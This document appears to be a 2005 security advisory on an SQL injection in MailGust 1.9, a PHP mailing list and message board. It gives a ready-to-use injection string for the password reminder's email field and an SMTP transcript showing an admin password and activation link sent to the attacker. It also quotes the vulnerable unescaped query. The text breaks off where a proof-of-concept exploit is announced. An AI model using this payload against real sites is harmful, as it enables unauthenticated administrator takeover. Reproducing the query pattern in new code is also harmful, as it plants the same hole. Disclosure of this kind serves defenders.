MailGust 1.9 SQL injection / board takevor
software:
site: http://www.mailgust.org/
description:
Mailgust is three softwares in one:
* Mailing list manager
* Newsletter distribution tool
* Message Board
Mailgust is written in php and uses a mysql database.
vulnerability:
if magic quotes off -> SQL Injection
without to have an account, a user can send himself a new admin password using
password reminder, in email field type:
[yuor_email],'or'a'='a'/*@hotmail.com
give a look to what happen:
220 [MAILSERVER] SMTP Service ready
HELO [MAILGUST]
250 [MAILSERVER].
MAIL FROM:<me (at) localhost (dot) com [email concealed]>
250 MAIL FROM:<me (at) localhost (dot) com [email concealed]> OK
RCPT TO:<[your_email]>
250 RCPT TO:>[your_email] OK
RCPT TO:<'or'a'='a'/*@hotmail.com>
250 RCPT TO:<'or'a'='a'/*@hotmail.com> OK
DATA
354 Start mail input; end with <CRLF>.<CRLF>
Date: Sat, 24 Sep 2005 16:11:38 +0100
Subject: New password
To: [your_email],'or'a'='a'/*@hotmail.com
From: systemxxx (at) localhost (dot) com [email concealed]
Your login name is: [admin_email]
Your new password is: 4993587
Click here:
http://localhost/mailgust/index.php?method=activate_new_password&list=ma
illistuser&pwd=4993587&id=1756185114
to activate the password, than try to log in!
It is recommended that you change your password afterwards.
.
250 <4335105B00009AE2> Mail accepted
QUIT
221 [MAILSERVER] QUIT
vulnerable query is in [path_to_mailgust]/gorum/user_email.php at line 363:
...
$query = "SELECT * FROM $applName"."_$userClassName ".
"WHERE email='$this->email'";
...
it becomes:
SELECT * FROM maillist_maillistuser WHERE email='[yuor_email],'or'a'='a'/*@hotmail.com'
"or'a'='a'" is always true, so the query is always true,
script doesn't fail, for mail function, theese are two valid email address,
it will send the mail to [your_email] and to 'or'a'='a'/*@hotmail.com ;)
activate the password, now you can login with [admin_email] as user and new password
this is my proof of concept exploit:
